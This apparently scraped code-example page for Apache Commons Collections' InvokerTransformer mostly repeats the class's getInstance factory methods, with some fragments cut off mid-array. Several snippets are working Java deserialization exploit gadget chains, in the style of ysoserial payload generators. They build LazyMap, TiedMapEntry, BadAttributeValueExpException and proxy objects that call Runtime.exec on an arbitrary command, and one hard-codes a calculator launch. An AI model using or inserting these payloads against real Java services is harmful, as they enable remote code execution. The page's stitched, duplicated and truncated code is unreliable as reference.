How to use

org.apache.commons.collections.functors.InvokerTransformer

constructor

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}

public Object makeObject() {
  return new InvokerTransformer("toString", new Class[0], new Object[0]);
}

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}

new InvokerTransformer("getMethod", new Class[] {
    String.class, Class[].class }, new Object[] {
    "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
    Object.class, Object[].class }, new Object[] {
    null, new Object[0] }),
new InvokerTransformer("exec",
    new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

public BadAttributeValueExpException getObject(final String command) throws Exception {
  final String[] execArgs = new String[] { command };
  // inert chain for setup
  final Transformer transformerChain = new ChainedTransformer(
      new Transformer[]{ new ConstantTransformer(1) });
  // real chain for after setup
  final Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] }),
      new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] }),
      new InvokerTransformer("exec",
        new Class[] { String.class }, execArgs),
      new ConstantTransformer(1) };
  final Map innerMap = new HashMap();
  final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
  BadAttributeValueExpException val = new BadAttributeValueExpException(null);
  Field valfield = val.getClass().getDeclaredField("val");
  valfield.setAccessible(true);
  valfield.set(val, entry);
  Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
  return val;
}

public InvocationHandler getObject(final String command) throws Exception {
  final String[] execArgs = new String[] { command };
  // inert chain for setup
  final Transformer transformerChain = new ChainedTransformer(
    new Transformer[]{ new ConstantTransformer(1) });
  // real chain for after setup
  final Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] }),
      new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] }),
      new InvokerTransformer("exec",
        new Class[] { String.class }, execArgs),
      new ConstantTransformer(1) };
  final Map innerMap = new HashMap();
  final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
  final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
  Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
  return handler;
}

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}

    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
    new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"}),
    new ConstantTransformer("1")
};

public InvocationHandler getObject(final String command) throws Exception {
  final String[] execArgs = new String[] { command };
  // inert chain for setup
  final Transformer transformerChain = new ChainedTransformer(
      new Transformer[]{ new ConstantTransformer(1) });
  // real chain for after setup
  final Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", new Class[] {
          String.class, Class[].class }, new Object[] {
          "getRuntime", new Class[0] }),
      new InvokerTransformer("invoke", new Class[] {
          Object.class, Object[].class }, new Object[] {
          null, new Object[0] }),
      new InvokerTransformer("exec",
          new Class[] { String.class }, execArgs),
      new ConstantTransformer(1) };
  final Map innerMap = new HashMap();
  final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
  final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
  Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
  return handler;
}